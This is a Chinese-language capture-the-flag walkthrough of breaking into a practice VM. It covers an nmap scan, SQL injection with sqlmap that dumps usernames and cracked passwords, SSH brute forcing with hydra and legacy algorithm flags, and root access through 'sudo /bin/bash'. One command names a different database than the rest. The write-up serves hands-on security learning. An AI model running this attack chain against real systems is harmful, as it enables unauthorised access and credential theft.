情报收集
-
利用nmap进行内网网段扫描
nmap -sS -Pn 192.168.16.0/24
这里发现192.168.16.153开启了22(ssh)、25(smtp)、80(http)、631(ipp)四个端口,可以判断是我们需要渗透的靶机
接下来利用nmap进行进一步端口扫描,看看有没有非常见端口
nmap -T 4 -A -p 1-65535 -O 192.168.16.153
没有发现新的端口
-
访问web界面(80端口)
在blog界面发现有id=2这种猜测可能存在SQL注入
简单在后面加一个’试试
发现报错是mysql的错误,断定存在SQL注入
SQL注入
-
利用sqlmap进行爆库
sqlmap -u "http://192.168.16.153/index.html?page=blog&title=Blog&id=5" --batch --dbs
-
选择ehks进行爆表
sqlmap -u "http://192.168.16.153/index.html?page=blog&title=Blog&id=5" --batch -D "ehks" --tables
-
选择user进行爆列
sqlmap -u "http://192.168.16.153/index.html?page=blog&title=Blog&id=5" --batch -D "roundcubemail" -T "user" --columns
-
选择username进行爆字段
sqlmap -u "http://192.168.16.153/index.html?page=blog&title=Blog&id=5" --batch -D "ehks" -T "user" -C "user_name,user_pass" --dump
得到的用户名和密码如下
| dstevens | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf) | | achen | b46265f1e7faa3beab09db5c28739380 (seventysixers) | | pmoore | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite) | | jdurbin | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978) | | sorzek | 64d1f88b9b276aece4b0edcc25b7a434 (pacman) | | ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1)
SSH 爆破
-
将得到的用户名保存在ctf-user中
dstevens
achen
pmoore
jdurbin
sorzek
ghighland
将得到的密码保存在ctf-pass中
ilike2surf
seventysixers
Homesite
Sue1978
pacman
undone1
-
利用hydra进行爆破
尝试了很多次发现均报错
后来查看了一些大佬的博客发现这里报错的原因是ssh太老了,因此需要添加-oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss
即密钥交换的方法ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss dstevens@192.168.16.153
顺利进入服务器内部
提权
-
这里sudo -l看有哪些可以提权的命令
发现都可以
-
那么直接/bin/bash提权了
sudo /bin/bash
总结
这个靶场总体来说比较简单(比上周做的DC系列更简单),正常的nmap进行端口信息收集,然后在Web页面发现SQL注入漏洞,借助sqlmap顺利拿到用户和其密码信息。但是在SSH爆破时因为靶场时间太久了,密钥交换的算法不一致导致被一直无法正常爆破,后来通过大佬的指点通过设置密钥算法的参数完成登录。最后的提权部分就是/bin/bash提权就行